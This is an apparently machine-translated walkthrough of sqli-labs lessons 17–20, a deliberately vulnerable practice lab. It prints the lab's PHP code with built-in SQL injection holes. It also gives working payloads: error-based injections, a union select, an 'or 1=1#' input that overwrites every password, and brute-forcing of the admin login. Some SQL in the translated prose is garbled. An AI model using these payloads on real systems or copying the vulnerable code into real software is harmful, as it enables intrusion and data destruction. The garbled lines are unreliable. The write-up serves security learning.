[Sqli-labs] Registro de entrada 17 ~ 20
[Menos-17] Inyección de errores basada en contraseña
1. Análisis del código fuente
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15); //只取输入值的前15个字符
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc()) //该函数是获取magic_quotes_gpc状态
{
$value = stripslashes($value); //删除由addslashes()添加的反斜杠
}
// Quote if not a number
if (!ctype_digit($value)) //判断是否都是数字
{
$value = "'" . mysql_real_escape_string($value) . "'"; //转义字符\x00,\n,\r,\,',",\x1a
}
else
{
$value = intval($value); //返回变量$value的int值
}
return $value;
}
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']); //只对用户名的输入做了转义
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row) //要想进入if语句,必须知道一个正确的用户名
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";
if (mysql_error())
{
echo '<font color= "#FFFF00" font size = 3 >';
print_r(mysql_error()); //输出错误
echo "</br></br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00" font size = 3 >';
//echo " You password has been successfully updated " ;
echo "<br>";
echo "</font>";
}
echo '<img src="../images/flag1.jpg" />';
//echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font size="4.5" color="#FFFF00">';
//echo "Bug off you Silly Dumb hacker";
echo "</br>";
echo '<img src="../images/slap1.jpg" />';
echo "</font>";
}
}
?>
get_magic_quotes_gpc()
Función: Obtenga el estado de magic_quotes_gpc y determine si debe escapar automáticamente de los parámetros entrantes. Esta función ha sido abandonada desde php7.
ctype_digit(text)
Función: Determine si la cadena está compuesta por números; si es así, devuelva Verdadero; de lo contrario, devuelva falso.
mysql_real_escape_string()
Función: carácter de escape \ x00, \ n, \ r ,, ', ", \ x1a
intval($value)
Función: Devuelve el valor de la variable int $ value, el valor predeterminado es 10 decimal, intval () no se puede usar como objeto, de lo contrario generará E_NOTICE
un error y devuelve 1.
A partir del análisis de código anterior, se puede ver que el backend solo escapa de la entrada del nombre de usuario, y si la verificación del nombre de usuario es exitosa, la contraseña se cambia directamente y no se procesa ninguna contraseña, se empalma directamente en la instrucción sql Ejecutada, hay una vulnerabilidad obvia de inyección SQL.
2. Ideas para explotar vulnerabilidades:
Puede usar burp para forzar bruta el nombre de usuario e inyectar directamente sql en la contraseña después de obtener el nombre de usuario correcto
Establecer uname como variable | Configurar diccionario |
---|---|
Iniciar ataque | Resultado del ataque |
---|---|
Como se muestra en la figura, un usuario llamado admin fue destruido.
Como se muestra en la figura, la contraseña del usuario administrador se puede cambiar arbitrariamente.
// A continuación, tome el nombre de usuario admin correcto e inyecte sql en la contraseña
Se informa de un error al ingresar comillas simples en el campo de contraseña
Desde el mensaje de error, el backend se cierra con comillas simples.
Intente actualizar las obras completas: ingreso de contraseña123456' or 1=1#
Como se muestra en la figura, todas las contraseñas se actualizan a 1. Debido a que la lógica del backend es UPDATE users SET password = '123456' or 1=1# WHERE username='admin'
, debido a que la '123456' or 1=1
constante es verdadera, a la contraseña se le asigna un valor de 1, por lo que el campo de contraseña del conjunto completo se actualiza a 1.
// Puedes usar la inyección de error para quitarte los pantalones paso a paso.
123' and updatexml(1,concat(0x7e,user(),database(),version()),2)#
[Menos-18] Basado en la inyección de campo de agente de usuario de encabezado http
1. Análisis del código fuente
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,20);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;
echo "<br>";
//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']); //对用户名和密码都进行了转义
/*
echo 'Your Your User name:'. $uname;
echo "<br>";
echo 'Your Password:'. $passwd;
echo "<br>";
echo 'Your User Agent String:'. $uagent;
echo "<br>";
echo 'Your User Agent String:'. $IP;
*/
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Agent:'.$uname."\n");
fclose($fp);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; //$uagent和$IP字段并未做处理,明显存在sql注入漏洞
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
?>
$_SERVER
Es una de las variables predefinidas de PHP y se puede utilizar directamente. Es una matriz que contiene información como la ubicación del encabezado, la ruta y el script. detallado
$ _SERVER ['SERVER_ADDR'] La dirección IP del servidor donde se está ejecutando el script actualmente. $ _SERVER ['REMOVE_ADDR'] La dirección IP del usuario que navega por la página actual, preste atención a la diferencia con $ _SERVER ['SERVER_ADDR'] $ _SERVER ['HTTP_USER_AGENT'] Es necesario verificar la cadena de agente del usuario, que es parte de la solicitud HTTP enviada por el navegador.
Como puede ver en el código anterior, el backend ha escapado del nombre de usuario y la contraseña, lo que hace que sea más difícil de omitir. Sin embargo, después de que la verificación de inicio de sesión es exitosa, el campo $ uagent (campo User-Agent en el encabezado de la solicitud) se empalma directamente en la instrucción de inserción sin filtrar, y hay una vulnerabilidad de inyección SQL obvia.
En el código subyacente, el campo $ uagent se envía directamente a la página sin filtrar, hay una vulnerabilidad xss de tipo reflejo y un atacante puede usar y robar cookies de usuario.
2. Explotación de la vulnerabilidad
1. Inyección basada en error de inserción:
Construye la carga útil | Rompió con éxito el nombre de la base de datos |
---|---|
Lógica de empalme SQL de fondo:
INSERTAR EN security
. uagents
( uagent
, ip_address
, username
) VALUES ( 'xiamo' o updatexml (1, concat (0x7E, la base de datos ()), 0) o '', '$ IP', $ uname)
2. Prueba reflectante xss:
Insertar carga útil | Ventana emergente de éxito |
---|---|
[Less-19] Inyección basada en el campo de referencia del encabezado http
1. Proceso de prueba
Se han probado el nombre de usuario y la contraseña, pero no se pueden inyectar
Inicie sesión primero para echar un vistazo
Como se muestra en la figura, se considera que el punto de inyección puede estar en el campo de referencia del encabezado http.
Use eructos para capturar y probar:
Ingrese la prueba de comillas simples | Se informa del error y se considera que el método de cierre es ') |
---|---|
Carga útil de inyección de error:' or extractvalue(1,concat(0x7e,user())) or '
Basado en la inyección de error de inserción | Rompió con éxito el nombre de usuario |
---|---|
// prueba xss:
Insertar carga útil | Éxito emergente |
---|---|
2. Análisis del código fuente
Sin función nueva
[Less-20] Inyección basada en cookies
1. Proceso de prueba
Probé que los cuadros de nombre de usuario y contraseña no funcionan
Inicie sesión y eche un vistazo:
Se encontró que hay un botón que se utiliza para eliminar las cookies. El juicio preliminar puede ser una inyección de error basada en eliminar.
Haga clic en eliminar y use burp para capturar el paquete para ver:
Supongo que la declaración SQL de back-end es: eliminar del nombre de la tabla donde uname = '$ uname'
Luego construye la carga útil:' or updatexml(1,concat(0x7e,version()),2) '
La declaración SQL empalmada es: eliminar del nombre de la tabla donde uname = '' o updatexml (1, concat (0x7e, version ()), 2) ''
Insertar carga útil | Sin éxito |
---|---|
El informe de error muestra que hay una declaración de límite en sql y está entre comillas simples.
Supongo que el backend debería ser una declaración de selección.
Reconstruir la carga útil:1' and 1=2 union select user(),database(),version()#
Insertar carga útil | ¡éxito! |
---|---|
2. Análisis del código fuente
No hay ninguna función nueva, pero el valor del campo de la cookie no se filtra en el backend.